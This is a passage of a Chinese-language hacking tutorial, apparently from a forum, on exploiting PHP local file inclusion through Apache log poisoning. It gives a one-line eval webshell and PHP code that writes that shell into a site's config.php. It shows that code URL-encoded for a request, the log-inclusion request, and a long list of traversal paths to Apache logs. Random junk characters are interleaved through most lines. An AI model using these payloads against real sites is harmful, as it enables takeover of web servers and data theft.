因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
4 r* l! E" {0 S0 `; f! A2 d) D1 j8 o ]1 `9 P9 v
比如还是这句一句话木马 . F( e7 D7 M, g5 O/ E
<?eval($_POST[cmd]);?>
" ]9 d; @6 K u. L
7 l# C1 F! p8 B7 }4 B5 d到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
" H$ `# ~- [' X# Z4 J. Wfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
5 z3 O% t3 m- v. q/ |, c9 x6 w: M0 T0 H# x- T
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
% d" y @# j4 |: _8 t9 }8 jfclose($fp);?> //在config.php里写入一句木马语句
! R' c. @9 ~# ~5 H: L- T% q+ [+ r" X+ I! m! w
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 / m( e0 J& m8 M3 o" U
转换为 5 i) e4 z! X- T/ x, j, W5 j
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F * ]# H9 @/ g3 f+ R H
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
3 K$ e4 F* I0 U) s. l; M# i7 I%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
$ u1 Q( f" v7 I9 E: mfclose%28%24fp%29%3B%3F%3E 4 e# o: T- w, G }3 W. h0 }
我们提交 ( l/ y2 h0 {% r s4 E$ k
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 3 C- H- h, F; {8 U0 ^
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp : w! T N2 K' l4 E0 P
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
; \5 w2 O% I% M0 vcmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E " u$ |5 y* O; L8 v5 s
1 R! k( @2 x0 W) y8 Z这样就错误日志里就记录下了这行写入webshell的代码。 ) n; ]# A1 m' M8 O
我们再来包含日志,提交
6 i/ X" |. G& X$ bhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log ; L8 `. g' B" H' T' S" _
' ^' Y7 ?2 b4 l$ g
这样webshell就写入成功了,config.php里就写入一句木马语句
. L. D7 S% B3 T( Q. XOK.
$ _! S) I+ C4 ?$ q/ {5 Rhttp://www.xxx.com/forum/config.php这个就成了我们的webshell 5 L, o; A( B* b n6 `7 a; u4 k
直接用lanker的客户端一连,主机就是你的了。
+ k: N) q( Z: t' S# ~2 o& H4 C/ b6 E' u |
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
* H' y3 m% A3 K* Z6 ]6 V; y4 H* i$ n: c
其他的日志路径,你可以去猜,也可以参照这里。 & b f" `# X: D
../../../../../../../../../../var/log/httpd/access_log
0 t, H3 Q4 t6 ]! ~5 F' G0 {../../../../../../../../../../var/log/httpd/error_log
- W' s7 j3 u" [0 F6 t1 d: E* A; Z../apache/logs/error.log 0 X7 J- u0 o* D, l6 o
../apache/logs/access.log : T( |2 W% w7 J* y( w
../../apache/logs/error.log
4 M+ G5 ~# J& P" R. k) o! I+ n9 |* U../../apache/logs/access.log ( m5 P4 l" ?0 @; v- e
../../../apache/logs/error.log o! B6 Z' y+ k% Q% r
../../../apache/logs/access.log ( o" a8 Z1 ~4 `' ~) A* t7 m8 y
../../../../../../../../../../etc/httpd/logs/acces_log * F" J: ^- D: `; Q: U! D" d" W4 H% f
../../../../../../../../../../etc/httpd/logs/acces.log 0 m( s% u& A4 P! i
../../../../../../../../../../etc/httpd/logs/error_log
6 s- B! `8 u6 U3 s. \3 }1 k../../../../../../../../../../etc/httpd/logs/error.log - I* U( i3 I( G7 M* f/ @8 o
../../../../../../../../../../var/www/logs/access_log
! c: w2 f0 b" a; J' X5 z../../../../../../../../../../var/www/logs/access.log
3 y ?0 T6 u. q8 v" S../../../../../../../../../../usr/local/apache/logs/access_log
" {5 S5 d4 k7 `# `( D../../../../../../../../../../usr/local/apache/logs/access.log 0 A ?5 C X5 Q [9 }
../../../../../../../../../../var/log/apache/access_log $ q. E) |7 g0 a( q; {4 {! _. T; B
../../../../../../../../../../var/log/apache/access.log % T% l/ B B7 \+ J
../../../../../../../../../../var/log/access_log ) U5 H% q) F( _
../../../../../../../../../../var/www/logs/error_log
: J: G* S+ q4 p../../../../../../../../../../var/www/logs/error.log $ o9 U" H* X, ]: d* I8 V
../../../../../../../../../../usr/local/apache/logs/error_log 3 k% x @/ y' `4 {4 O& B9 p; }
../../../../../../../../../../usr/local/apache/logs/error.log
$ ]0 R8 `6 I1 N! S/ ~2 a& p2 A+ L+ @../../../../../../../../../../var/log/apache/error_log ' \. R0 \' L/ j& K/ s
../../../../../../../../../../var/log/apache/error.log
" o! n0 o3 c# W4 Z../../../../../../../../../../var/log/access_log 7 _# v+ O. O( M5 f; e
../../../../../../../../../../var/log/error_log
" I: h" O& b2 o: D5 H: T/var/log/httpd/access_log , w/ Q0 K. q) \! V4 M* h
/var/log/httpd/error_log
* x# M. b# y, s3 r6 X4 Z; k../apache/logs/error.log
9 [. K7 a& c" e../apache/logs/access.log 9 ?. P+ i5 ~' q3 ~4 a; W
../../apache/logs/error.log
4 H# {7 S3 t/ ^. N../../apache/logs/access.log
/ n9 z# _9 p2 V7 H5 Z# B7 J8 N4 w../../../apache/logs/error.log
2 I4 C( l* v c) l/ g+ K. T../../../apache/logs/access.log - H7 H# C1 N$ p2 A" Y2 x$ X
/etc/httpd/logs/acces_log
: d- B( x: |5 Y2 v/etc/httpd/logs/acces.log 2 M V/ y" b+ L/ M+ i: R" C8 I
/etc/httpd/logs/error_log
2 a* u( m$ {$ S/ e: Q# T/etc/httpd/logs/error.log & @4 N$ r3 G' `/ U) v( h9 R
/var/www/logs/access_log * ^! @# C6 N( ]
/var/www/logs/access.log 7 x& m k: K" r9 i2 m2 ~8 N9 q. [
/usr/local/apache/logs/access_log $ f( y% I, ]- w. k9 n/ y' F6 [
/usr/local/apache/logs/access.log
; |. G. \6 Z) e- \/var/log/apache/access_log 4 ?6 b5 Y- G4 z$ Z7 q+ P6 X5 g
/var/log/apache/access.log
4 ]$ w8 a i! U Q5 K/var/log/access_log
2 E/ V% b6 f- m( q. z0 m; q0 Q/var/www/logs/error_log 7 z+ P" W/ C. A# c9 d
/var/www/logs/error.log 9 w7 s2 L' b4 e/ H! ]4 n
/usr/local/apache/logs/error_log
* m; M4 t+ L- D" B8 `- b/usr/local/apache/logs/error.log & }/ l. R' {) L: f" T
/var/log/apache/error_log : b+ @9 B( |- R8 j
/var/log/apache/error.log
6 t& f2 h' l, H3 ]* ?/var/log/access_log
# ?# b' K# x1 _9 c" g+ T( q/var/log/error_log |